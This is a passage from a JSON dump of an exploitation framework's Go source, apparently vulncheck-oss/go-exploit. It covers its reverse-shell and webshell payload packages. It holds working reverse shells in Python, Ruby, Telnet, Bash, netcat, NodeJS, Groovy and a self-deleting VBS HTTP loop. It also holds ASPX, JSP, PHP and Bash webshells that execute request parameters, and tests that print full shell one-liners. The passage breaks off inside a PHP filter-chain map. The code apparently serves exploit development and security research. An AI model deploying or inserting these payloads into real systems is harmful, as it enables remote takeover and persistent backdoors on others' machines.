    "content": "import socket\nimport subprocess\nimport ssl\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('%s', %d))\nsslsock = ssl.wrap_socket(s, cert_reqs=ssl.CERT_NONE)\nwhile 1:\n    data = sslsock.recv(1024).decode('UTF-8')\n    if data == 'exit\\n':\n        break\n    if len(data) > 0:\n        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n        sslsock.send(proc.stdout.read() + proc.stderr.read())\nsslsock.close()\n"
  },
  {
    "path": "payload/reverse/python/reverse3_12_secure.py",
    "content": "import socket\nimport subprocess\nimport ssl\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('%s', %d))\nssls = ssl.create_default_context()\nssls.check_hostname=False\nssls.verify_mode=ssl.CERT_NONE\nsslsock = ssls.wrap_socket(s)\nwhile 1:\n    data = sslsock.recv(1024).decode('UTF-8')\n    if data == 'exit\\n':\n        break\n    if len(data) > 0:\n        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n        sslsock.send(proc.stdout.read() + proc.stderr.read())\nsslsock.close()\n"
  },
  {
    "path": "payload/reverse/python.go",
    "content": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\tPythonDefault = Python27\n\n\t//go:embed python/reverse27.py\n\tPython27 string\n\t//go:embed python/reverse27_secure.py\n\tPython27Secure string\n\t//go:embed python/reverse3_12_secure.py\n\tPython3_12Secure string\n)\n\nfunc (py *PythonPayload) Default(lhost string, lport int) string {\n\treturn py.Python27(lhost, lport)\n}\n\n// An unflattened reverse shell that works on Python 2.7, 3+, Windows and Linux.\nfunc (py *PythonPayload) Python27(lhost string, lport int) string {\n\treturn fmt.Sprintf(PythonDefault, lhost, lport)\n}\n\n// An unflattened reverse shell that uses an SSL socket, works on Python 2.7, 3+, Windows and Linux.\nfunc (py *PythonPayload) SecurePython27(lhost string, lport int) string {\n\treturn fmt.Sprintf(Python27Secure, lhost, lport)\n}\n\n// An unflattened reverse shell that uses an SSL socket for Python 3.12 context, Windows and Linux.\n// This payload is required when doing 3.12 SSL reverse shells as Python moved to requiring SSL\n// context over simple socket wraps.\nfunc (py *PythonPayload) SecurePython312(lhost string, lport int) string {\n\treturn fmt.Sprintf(Python3_12Secure, lhost, lport)\n}\n"
  },
  {
    "path": "payload/reverse/reverse.go",
    "content": "// Reverse shell and command payloads.\n//\n// The reverse package contains all the code for reverse shell payloads. Each of these payload types can be\n// used either in the raw string format for manipulation or via the specific payload type provided by the\n// project.\n//\n// This package is designed to be abstract enough to allow for multiple types of composition, but always with\n// the fact that payloads are almost always string or byte oriented. With this in mind the payloads may be\n// invoked with a constructed type or a direct string call.\n//\n// For example, here are the 3 ways to create a netcat reverse shell payload that result in the same payload:\n//\n//\treverse.Netcat.Default(\"127.0.0.1\", 1337)\n//\treverse.Netcat.Mknod(\"127.0.0.1\", 1337)\n//\tfmt.Sprintf(reverse.NetcatMknod, \"127.0.0.1\", 1337)\n//\n// Each of the defined payload types should utilize a Default reverse shell constant that corresponds to the\n// most common case.\npackage reverse\n\n// Defines the Default function to be created for each type of payload.\ntype Reverse interface {\n\tDefault\n}\n\ntype Default interface{}\n\n// Defines the default Bash struct and all associated payload functions.\ntype (\n\tBashPayload       struct{}\n\tGJScriptPayload   struct{}\n\tJJSScriptPayload  struct{}\n\tJavascriptPayload struct{}\n\tJavaPayload       struct{}\n\tNetcatPayload     struct{}\n\tOpenSSLPayload    struct{}\n\tPHPPayload        struct{}\n\tPythonPayload     struct{}\n\tTelnetPayload     struct{}\n\tGroovyPayload     struct{}\n\tPerlPayload       struct{}\n\tRubyPayload       struct{}\n\tVBSHTTPPayload    struct{}\n)\n\nvar (\n\t// Example: makes the Bash payloads accessible via `reverse.Bash`.\n\tBash       = &BashPayload{}\n\tGJScript   = &GJScriptPayload{}\n\tJJS        = &JJSScriptPayload{}\n\tJava       = &JavaPayload{}\n\tJavascript = &JavascriptPayload{}\n\tNetcat     = &NetcatPayload{}\n\tOpenSSL    = &OpenSSLPayload{}\n\tPHP        = &PHPPayload{}\n\tPython     = &PythonPayload{}\n\tTelnet     = &TelnetPayload{}\n\tGroovy     = &GroovyPayload{}\n\tPerl       = &PerlPayload{}\n\tRuby       = &RubyPayload{}\n\tVBSHTTP    = &VBSHTTPPayload{}\n)\n"
  },
  {
    "path": "payload/reverse/reverse_test.go",
    "content": "package reverse_test\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/reverse\"\n)\n\nfunc ExampleBashPayload_Default() {\n\tfmt.Println(reverse.Bash.Default(\"127.0.0.1\", 1337))\n\t// Output:\n\t// bash -c 'bash &> /dev/tcp/127.0.0.1/1337 <&1'\n}\n\nfunc TestBashDefault(t *testing.T) {\n\tpayload := reverse.Bash.Default(\"127.0.0.1\", 4444)\n\n\tif payload != \"bash -c 'bash &> /dev/tcp/127.0.0.1/4444 <&1'\" {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n}\n\nfunc TestBashHTTPShellLoop(t *testing.T) {\n\tpayload := reverse.Bash.HTTPShellLoop(\"127.0.0.1\", 4444, true, \"vulncheck\")\n\n\tif payload != `bash -c 'while :; do curl -d \"$(bash -c \"$(curl -k -H\"VC-Auth: vulncheck\" https://127.0.0.1:4444 || exit)\")\" -k -H\"VC-Auth: vulncheck\" https://127.0.0.1:4444/rx ||exit;sleep 1;done'` {\n\t\tt.Fatal(payload)\n\t}\n\n\tpayload = reverse.Bash.HTTPShellLoop(\"127.0.0.1\", 4444, false, \"vulncheck\")\n\n\tif payload != `bash -c 'while :; do curl -d \"$(bash -c \"$(curl -H\"VC-Auth: vulncheck\" http://127.0.0.1:4444 || exit)\")\" -H\"VC-Auth: vulncheck\" http://127.0.0.1:4444/rx ||exit;sleep 1;done'` {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n}\n\nfunc TestNetcatGaping(t *testing.T) {\n\tpayload := reverse.Netcat.Default(\"127.0.0.1\", 4444)\n\n\tif payload != \"nc 127.0.0.1 4444 -e /bin/sh\" {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n}\n\nfunc TestNetcatMknod(t *testing.T) {\n\tpayload := reverse.Netcat.Mknod(\"127.0.0.1\", 4444)\n\n\t// random element to this one so just look for the required bits\n\tif !strings.Contains(payload, \"|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >\") {\n\t\tt.Fatal(payload)\n\t}\n}\n\nfunc TestTelnetMknod(t *testing.T) {\n\tpayload := reverse.Telnet.Mknod(\"127.0.0.1\", 4444, true)\n\n\t// random element to this one so just look for the required bits\n\tif !strings.Contains(payload, \"cd /tmp; mknod \") {\n\t\tt.Fatal(payload)\n\t}\n\tif !strings.Contains(payload, \" p; sh -i < \") {\n\t\tt.Fatal(payload)\n\t}\n\tif !strings.Contains(payload, \"2>&1 | telnet 127.0.0.1:4444\") {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n\n\tpayload = reverse.Telnet.Mknod(\"127.0.0.1\", 4444, false)\n\tif !strings.Contains(payload, \"2>&1 | telnet 127.0.0.1 4444\") {\n\t\tt.Fatal(payload)\n\t}\n}\n\nfunc TestTelnetMkfifo(t *testing.T) {\n\tpayload := reverse.Telnet.Mkfifo(\"127.0.0.1\", 4444, true)\n\n\t// random element to this one so just look for the required bits\n\tif !strings.Contains(payload, \"cd /tmp; mkfifo \") {\n\t\tt.Fatal(payload)\n\t}\n\tif !strings.Contains(payload, \"; telnet 127.0.0.1:4444 0<\") {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n\n\tpayload = reverse.Telnet.Mkfifo(\"127.0.0.1\", 4444, false)\n\tif !strings.Contains(payload, \"; telnet 127.0.0.1 4444 0<\") {\n\t\tt.Fatal(payload)\n\t}\n}\n\nfunc TestOpenSSLMknod(t *testing.T) {\n\tpayload := reverse.OpenSSL.Mknod(\"127.0.0.1\", 4444)\n\n\t// random element to this one so just look for the required bits\n\tif !strings.Contains(payload, \"cd /tmp; mknod \") {\n\t\tt.Fatal(payload)\n\t}\n\tif !strings.Contains(payload, \" p; sh -i < \") {\n\t\tt.Fatal(payload)\n\t}\n\tif !strings.Contains(payload, \"2>&1 | openssl s_client -quiet -connect 127.0.0.1:4444\") {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n}\n\nfunc TestOpenSSLMkfifo(t *testing.T) {\n\tpayload := reverse.OpenSSL.Mkfifo(\"127.0.0.1\", 4444)\n\n\t// random element to this one so just look for the required bits\n\tif !strings.Contains(payload, \"cd /tmp; mkfifo \") {\n\t\tt.Fatal(payload)\n\t}\n\tif !strings.Contains(payload, \"; sh -i < \") {\n\t\tt.Fatal(payload)\n\t}\n\tif !strings.Contains(payload, \"2>&1 | openssl s_client -quiet -connect 127.0.0.1:4444\") {\n\t\tt.Fatal(payload)\n\t}\n\n\tt.Log(payload)\n}\n\nfunc TestPHPLinuxInteractive(t *testing.T) {\n\tpayload := reverse.PHP.LinuxInteractive(\"127.0.0.2\", 8181)\n\tif !strings.Contains(payload, `$sock=fsockopen(\"127.0.0.2\",8181);$proc=proc_open(\"/bin/sh -i\"`) {\n\t\tt.Fatal(payload)\n\t}\n}\n\nfunc TestPHPUnflattened(t *testing.T) {\n\tpayload := reverse.PHP.Unflattened(\"127.0.0.1\", 8989, true)\n\tif !strings.Contains(payload, `stream_socket_client(\"tls://127.0.0.1:8989\",`) {\n\t\tt.Fatal(payload)\n\t}\n\n\tpayload = reverse.PHP.Unflattened(\"127.0.0.1\", 8989, false)\n\tif !strings.Contains(payload, `stream_socket_client(\"127.0.0.1:8989\",`) {\n\t\tt.Fatal(payload)\n\t}\n}\n\nfunc TestPHPUnflattenedSelfDelete(t *testing.T) {\n\tpayload := reverse.PHP.UnflattenedSelfDelete(\"127.0.0.1\", 8989, true)\n\tif !strings.Contains(payload, `stream_socket_client(\"tls://127.0.0.1:8989\",`) {\n\t\tt.Fatal(payload)\n\t}\n\tif !strings.Contains(payload, `__destruct`) {\n\t\tt.Fatal(payload)\n\t}\n\n\tpayload = reverse.PHP.UnflattenedSelfDelete(\"127.0.0.1\", 8989, false)\n\tif !strings.Contains(payload, `stream_socket_client(\"127.0.0.1:8989\",`) {\n\t\tt.Fatal(payload)\n\t}\n\tif !strings.Contains(payload, `__destruct`) {\n\t\tt.Fatal(payload)\n\t}\n}\n\nfunc TestGroovyClassic(t *testing.T) {\n\tpayload := reverse.Groovy.GroovyClassic(\"127.0.0.2\", 9000)\n\texpected := `shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';` +\n\t\t`Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('127.0.0.2',9000);` +\n\t\t`InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream()` +\n\t\t`,so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)` +\n\t\t`so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);` +\n\t\t`try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();`\n\tif payload != expected {\n\t\tt.Fatal(payload)\n\t}\n}\n\nfunc TestNodeJS(t *testing.T) {\n\tpayload := reverse.Javascript.NodeJS(\"127.0.0.3\", 1312)\n\texpected := `(function(){\n\tvar net = require('net'),\n\t\tcp = require('child_process'),\n\t\tshell = \"/bin/sh\";\n\tif(process.platform == \"win32\") {\n\t\tshell = \"cmd.exe\"\n\t};\n\tvar sh = cp.spawn(shell, []);\n\tvar client = new net.Socket();\n\tclient.connect(1312, '127.0.0.3', function(){\n\t\tclient.pipe(sh.stdin);\n\t\tsh.stdout.pipe(client);\n\t\tsh.stderr.pipe(client);\n\t});\n\treturn; \n})();`\n\n\tif payload != expected {\n\t\tt.Fatal(payload)\n\t}\n\n\tpayload = reverse.Javascript.SecureNodeJS(\"127.0.0.4\", 1312)\n\texpected = `(function(){\n\tvar tls = require('tls'),\n\t\tcp = require('child_process'),\n\t\tshell = \"/bin/sh\";\n\tif(process.platform == \"win32\") {\n\t\tshell = \"cmd.exe\"\n\t};\n\n\tsh = cp.spawn(shell, []);\n\tvar client = new tls.TLSSocket();\n\toptions = {rejectUnauthorized: false}\n\tclient.connect(1312, '127.0.0.4', options, function(){\n\t\tclient.pipe(sh.stdin);\n\t\tsh.stdout.pipe(client);\n\t\tsh.stderr.pipe(client);\n\t});\n\treturn; \n})();`\n\tif payload != expected {\n\t\tt.Fatal(payload)\n\t}\n}\n\nfunc TestPython312(t *testing.T) {\n\tpayload := reverse.Python.SecurePython312(\"127.0.0.2\", 9000)\n\texpected := `import socket\nimport subprocess\nimport ssl\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('127.0.0.2', 9000))\nssls = ssl.create_default_context()\nssls.check_hostname=False\nssls.verify_mode=ssl.CERT_NONE\nsslsock = ssls.wrap_socket(s)\nwhile 1:\n    data = sslsock.recv(1024).decode('UTF-8')\n    if data == 'exit\\n':\n        break\n    if len(data) > 0:\n        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n        sslsock.send(proc.stdout.read() + proc.stderr.read())\nsslsock.close()\n`\n\n\tif payload != expected {\n\t\tt.Fatal(payload)\n\t}\n}\n\nfunc assertContains(t *testing.T, payload string, substrs ...string) {\n\tt.Helper()\n\tfor _, s := range substrs {\n\t\tif !strings.Contains(payload, s) {\n\t\t\tt.Fatalf(\"payload missing %q:\\n%s\", s, payload)\n\t\t}\n\t}\n}\n\nfunc TestPerlSocket(t *testing.T) {\n\tpayload := reverse.Perl.Default(\"127.0.0.1\", 4444)\n\tassertContains(t, payload, `perl -e`, `$i=\"127.0.0.1\"`, `$p=4444`, `exec(\"/bin/sh -i\")`)\n}\n\nfunc TestPerlFork(t *testing.T) {\n\tpayload := reverse.Perl.Fork(\"127.0.0.1\", 4444)\n\tassertContains(t, payload, `perl -MIO`, `PeerAddr,\"127.0.0.1:4444\"`, `fork`)\n}\n\nfunc TestPerlNonBlocking(t *testing.T) {\n\tpayload := reverse.Perl.NonBlocking(\"127.0.0.1\", 4444)\n\tassertContains(t, payload, `perl -MIO`, `PeerAddr,\"127.0.0.1:4444\"`, `system $1`)\n}\n\nfunc TestRubySocket(t *testing.T) {\n\tpayload := reverse.Ruby.Default(\"127.0.0.1\", 4444)\n\tassertContains(t, payload, `ruby -rsocket`, `TCPSocket.open(\"127.0.0.1\",4444)`, `/bin/sh -i`)\n}\n\nfunc TestRubyFork(t *testing.T) {\n\tpayload := reverse.Ruby.Fork(\"127.0.0.1\", 4444)\n\tassertContains(t, payload, `ruby -rsocket`, `TCPSocket.new(\"127.0.0.1\",4444)`, `fork`, `Dir.chdir`, `rescue c.puts`)\n}\n"
  },
  {
    "path": "payload/reverse/ruby.go",
    "content": "package reverse\n\nimport (\n\t\"fmt\"\n)\n\nconst (\n\tRubyDefault = RubySocket\n\tRubySocket  = `ruby -rsocket -e'f=TCPSocket.open(\"%s\",%d).to_i;exec sprintf(\"/bin/sh -i <&%%d >&%%d 2>&%%d\",f,f,f)'`\n\tRubyFork    = `ruby -rsocket -e'exit if fork;c=TCPSocket.new(\"%s\",%d);loop{c.gets.chomp!;(exit! if $_==\"exit\");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts \"failed: #{$_}\"}'`\n)\n\nfunc (ruby *RubyPayload) Default(lhost string, lport int) string {\n\treturn ruby.Socket(lhost, lport)\n}\n\n// Uses TCPSocket with file descriptor redirection to create a reverse shell.\nfunc (ruby *RubyPayload) Socket(lhost string, lport int) string {\n\treturn fmt.Sprintf(RubySocket, lhost, lport)\n}\n\n// Creates a forking reverse shell that reads commands in a loop via IO.popen.\nfunc (ruby *RubyPayload) Fork(lhost string, lport int) string {\n\treturn fmt.Sprintf(RubyFork, lhost, lport)\n}\n"
  },
  {
    "path": "payload/reverse/telnet.go",
    "content": "package reverse\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tTelnetDefault       = TelnetMknod\n\tTelnetMknod         = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s:%d > %s; rm %s;`\n\tTelnetMknodNoColon  = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s %d > %s; rm %s;`\n\tTelnetMkfifo        = `cd /tmp; mkfifo %s; telnet %s:%d 0<%s | sh 1>%s; rm %s;`\n\tTelnetMkfifoNoColon = `cd /tmp; mkfifo %s; telnet %s %d 0<%s | sh 1>%s; rm %s;`\n)\n\nfunc (telnet *TelnetPayload) Default(lhost string, lport int, colon bool) string {\n\treturn telnet.Mknod(lhost, lport, colon)\n}\n\nfunc (telnet *TelnetPayload) Mknod(lhost string, lport int, colon bool) string {\n\tnode := random.RandLetters(3)\n\n\tif colon {\n\t\treturn fmt.Sprintf(TelnetMknod, node, node, lhost, lport, node, node)\n\t}\n\n\treturn fmt.Sprintf(TelnetMknodNoColon, node, node, lhost, lport, node, node)\n}\n\nfunc (telnet *TelnetPayload) Mkfifo(lhost string, lport int, colon bool) string {\n\tfifo := random.RandLetters(3)\n\n\tif colon {\n\t\treturn fmt.Sprintf(TelnetMkfifo, fifo, lhost, lport, fifo, fifo, fifo)\n\t}\n\n\treturn fmt.Sprintf(TelnetMkfifoNoColon, fifo, lhost, lport, fifo, fifo, fifo)\n}\n"
  },
  {
    "path": "payload/reverse/vbs/reverse_http.vbs",
    "content": "Option Explicit\n\nCONST lkasjfo = \"%s://%s:%d/\"\nCONST fowihe = \"%s\"\n\nDim xmlHttpReq, shell, execObj, alfkj, break, result, fa\n\nSet shell = CreateObject(\"WScript.Shell\")\n\nbreak = False\nWhile break <> True\nSet xmlHttpReq = WScript.CreateObject(\"MSXML2.ServerXMLHTTP\")\n    xmlHttpReq.Open \"GET\", lkasjfo, false\n    xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)\n    xmlHttpReq.setRequestHeader \"VC-Auth\", fowihe\n    xmlHttpReq.Send\n\n    If (xmlHttpReq.status <> 200) Then\n        fa = fa + 1\n        If fa > 5 Then\n            break = True\n        End If\n    Else\n        fa = 0\n    End If\n\n    If Trim(xmlHttpReq.responseText) <> \"\" Then\n        alfkj = \"cmd    /c \" & Trim(xmlHttpReq.responseText)\n\n        If InStr(alfkj, \"exit\") Then\n            break = True\n        Else\n            Set execObj = shell.Exec(alfkj)\n\n            result = \"\"\n            Do Until execObj.StdOut.AtEndOfStream\n                result = result & execObj.StdOut.ReadAll()\n            Loop\n            Do Until execObj.StdErr.AtEndOfStream\n                result = result & execObj.StdErr.ReadAll()\n            Loop\n\n            Set xmlHttpReq = WScript.CreateObject(\"MSXML2.ServerXMLHTTP\")\n            xmlHttpReq.Open \"POST\", lkasjfo & \"rx\", false\n            xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)\n            xmlHttpReq.setRequestHeader \"VC-Auth\", fowihe\n            xmlHttpReq.Send(result)\n        End If\n    End If\n    WScript.Sleep 500\nWend\n\nSet objFSO = CreateObject(\"Scripting.FileSystemObject\")\nstrScript = Wscript.ScriptFullName\nobjFSO.DeleteFile(strScript)\n"
  },
  {
    "path": "payload/reverse/vbs.go",
    "content": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\n//go:embed vbs/reverse_http.vbs\nvar VBSShell string\n\n// Generates a script that can be used to create a reverse shell via vbs (can be run with cscript)\n// original source: https://raw.githubusercontent.com/cym13/vbs-reverse-shell/refs/heads/master/reverse_shell.vbs\nfunc (vbs *VBSHTTPPayload) Default(lhost string, lport int, ssl bool, authHeader string) string {\n\tif ssl {\n\t\treturn fmt.Sprintf(VBSShell, \"https\", lhost, lport, authHeader)\n\t}\n\n\treturn fmt.Sprintf(VBSShell, \"http\", lhost, lport, authHeader)\n}\n"
  },
  {
    "path": "payload/webshell/aspx.go",
    "content": "package webshell\n\nimport (\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst aspxTemplate = `<%@ Page Language=\"C#\" %><%` +\n\t` System.Diagnostics.Process p = new System.Diagnostics.Process();` +\n\t` p.StartInfo.FileName = \"cmd.exe\";` +\n\t` p.StartInfo.Arguments = \"/c \" + Request[\"PARAM\"];` +\n\t` p.StartInfo.RedirectStandardOutput = true;` +\n\t` p.StartInfo.UseShellExecute = false;` +\n\t` p.Start();` +\n\t` Response.Write(p.StandardOutput.ReadToEnd()); %>`\n\n// A minimal ASPX webshell that executes commands from a GET parameter via cmd.exe.\nfunc (aspx *ASPXWebshell) MinimalGet() (string, string) {\n\tparam := random.RandLetters(8)\n\n\treturn strings.Replace(aspxTemplate, \"PARAM\", param, 1), param\n}\n"
  },
  {
    "path": "payload/webshell/bash.go",
    "content": "package webshell\n\n// A very basic bash webshell that evaluates commands from the QUERY_STRING.\n// Works with POST or GET.\nfunc (bash *BashWebshell) MinimalGet() string {\n\treturn `#!/bin/bash\necho \"Content-Type: text/plain\"\necho\n\ncmd=\"${QUERY_STRING#*cmd=}\"\ncmd=\"${cmd%%&*}\"\neval \"$cmd\"`\n}\n"
  },
  {
    "path": "payload/webshell/jsp/webshell.jsp",
    "content": "<%%@ page import=\"java.io.*\"%%>\n<%%\nif (request.getParameter(\"%s\") != null) {\n\tProcess p = Runtime.getRuntime().exec(request.getParameter(\"%s\"));\n\tDataInputStream dis = new DataInputStream(p.getInputStream());\n\tfor (String line = dis.readLine(); line != null; line = dis.readLine()) {\n\t\tout.println(line);\n\t}\n}\n%%>"
  },
  {
    "path": "payload/webshell/jsp/webshell_min.jsp",
    "content": "<%%Runtime.getRuntime().exec(request.getParameter(\"%s\"));%%>"
  },
  {
    "path": "payload/webshell/jsp.go",
    "content": "package webshell\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\t//go:embed jsp/webshell.jsp\n\tGetKeyed string\n\t//go:embed jsp/webshell_min.jsp\n\tGetKeyedMinimal string\n)\n\n// GetKeyed generates a JSP webshell that uses key as the basic authorization for a webshell. This\n// webshell will return all output information.\nfunc (jsp *JSPWebshell) GetKeyed(key string) string {\n\treturn fmt.Sprintf(GetKeyed, key, key)\n}\n\n// GetKeyedMinimal generates a JSP webshell that uses key for basic GET authentication. Unlike\n// GetKeyed, this payload does not return any information directly and is more useful for staging\n// other implants or reverse shell payloads.\nfunc (jsp *JSPWebshell) GetKeyedMinimal(key string) string {\n\treturn fmt.Sprintf(GetKeyedMinimal, key)\n}\n"
  },
  {
    "path": "payload/webshell/php.go",
    "content": "package webshell\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// A very basic PHP webshell using short tags and no error checking. The webshell\n// will generate a random variable to fetch the command from. Usage example:\n//\n//\tshell, param := webshell.PHP.MinimalGet()\nfunc (php *PHPWebshell) MinimalGet() (string, string) {\n\tindex := random.RandLetters(8)\n\n\treturn fmt.Sprintf(\"<?=`$_GET[%s]`?>\", index), index\n}\n"
  },
  {
    "path": "payload/webshell/webshell.go",
    "content": "// Webshell payloads\n//\n// The webshell package contains webshell payloads that can be dropped onto remote targets\npackage webshell\n\ntype Dropper interface{}\n\ntype (\n\tASPXWebshell struct{}\n\tJSPWebshell  struct{}\n\tPHPWebshell  struct{}\n\tBashWebshell struct{}\n)\n\nvar (\n\tASPX = &ASPXWebshell{}\n\tPHP  = &PHPWebshell{}\n\tJSP  = &JSPWebshell{}\n\tBash = &BashWebshell{}\n)\n"
  },
  {
    "path": "payload/webshell/webshell_test.go",
    "content": "package webshell_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/webshell\"\n)\n\nfunc TestVerySmallHTTPGET(t *testing.T) {\n\tshell, param := webshell.PHP.MinimalGet()\n\tif !strings.HasPrefix(shell, \"<?=`$_GET[\") {\n\t\tt.Fatal(\"PHP Minimal GET payload is in an unexpected format.\")\n\t}\n\tif !strings.HasSuffix(shell, \"]`?>\") {\n\t\tt.Fatal(\"PHP Minimal GET payload is in an unexpected format.\")\n\t}\n\tif len(param) != 8 {\n\t\tt.Fatal(\"PHP Minimal GET payload is in an unexpected format.\")\n\t}\n}\n\nfunc TestJSPWebshell(t *testing.T) {\n\tkey := \"VULNCHECKWUZHERE\"\n\tjsp := webshell.JSP.GetKeyed(key)\n\t// Look for superfluous %s\n\tif strings.Contains(jsp, `%%`) {\n\t\tt.Fatal(\"JSP payload is in an unexpected format\")\n\t}\n\tif !strings.Contains(jsp, `<%@ page import=\"java.io.*\"%>`) {\n\t\tt.Fatal(\"JSP payload is in an unexpected format\")\n\t}\n\tif !strings.Contains(jsp, `(request.getParameter(\"VULNCHECKWUZHERE\") != null)`) {\n\t\tt.Fatal(\"JSP payload is in an unexpected format\")\n\t}\n\tif !strings.Contains(jsp, `Process p = Runtime.getRuntime().exec(request.getParameter(\"VULNCHECKWUZHERE\"));`) {\n\t\tt.Fatal(\"JSP payload is in an unexpected format\")\n\t}\n}\n\nfunc TestJSPWebshellMinimal(t *testing.T) {\n\tkey := \"hacktheplanet\"\n\tjsp := webshell.JSP.GetKeyedMinimal(key)\n\t// Look for superfluous %s\n\tif strings.Contains(jsp, `%%`) {\n\t\tt.Fatal(\"JSP payload is in an unexpected format\")\n\t}\n\tif strings.Compare(jsp, `<%Runtime.getRuntime().exec(request.getParameter(\"hacktheplanet\"));%>`) != 0 {\n\t\tt.Fatal(\"JSP payload is in an unexpected format\")\n\t}\n}\n\nfunc TestBashWebshellMinimal(t *testing.T) {\n\tshell := webshell.Bash.MinimalGet()\n\tif !strings.HasPrefix(shell, \"#!/bin/bash\") {\n\t\tt.Fatal(\"Bash Minimal GET payload is in an unexpected format.\")\n\t}\n\tif !strings.Contains(shell, `cmd=\"${QUERY_STRING#*cmd=}\"`) {\n\t\tt.Fatal(\"Bash Minimal GET payload is in an unexpected format.\")\n\t}\n\tif !strings.Contains(shell, `eval \"$cmd\"`) {\n\t\tt.Fatal(\"Bash Minimal GET payload is in an unexpected format.\")\n\t}\n}\n\nfunc TestASPXWebshellMinimalGet(t *testing.T) {\n\tshell, param := webshell.ASPX.MinimalGet()\n\tif !strings.HasPrefix(shell, `<%@ Page Language=\"C#\" %>`) {\n\t\tt.Fatal(\"ASPX Minimal GET payload is in an unexpected format.\")\n\t}\n\tif !strings.Contains(shell, `cmd.exe`) {\n\t\tt.Fatal(\"ASPX Minimal GET payload should use cmd.exe.\")\n\t}\n\tif !strings.Contains(shell, `Request[\"`+param+`\"]`) {\n\t\tt.Fatal(\"ASPX Minimal GET payload should reference the parameter.\")\n\t}\n\tif len(param) != 8 {\n\t\tt.Fatal(\"ASPX parameter should be 8 characters.\")\n\t}\n}\n"
  },
  {
    "path": "payload/wrapper.go",
    "content": "package payload\n\nimport (\n\tb64 \"encoding/base64\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar phpFilterMap = map[string]string{\n\t\"0\": \"convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2\",\n\t\"1\": \"convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4\",\n\t\"2\": \"convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921\",\n\t\"3\": \"convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE\",\n\t\"4\": \"convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE\",\n\t\"5\": \"convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2\",\n\t\"6\": \"convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2\",\n\t\"7\": \"convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4\",\n\t\"8\": \"convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2\",\n\t\"9\": \"convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB\",\n\t\"A\": \"convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213\",\n\t\"a\": \"convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE\",\n\t\"B\": \"convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000\",\n\t\"b\": \"convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE\",\n\t\"C\": \"convert.iconv.UTF8.CSISO2022KR\",\n\t\"c\": \"convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2\",\n\t\"D\": \"convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213\",\n\t\"d\": 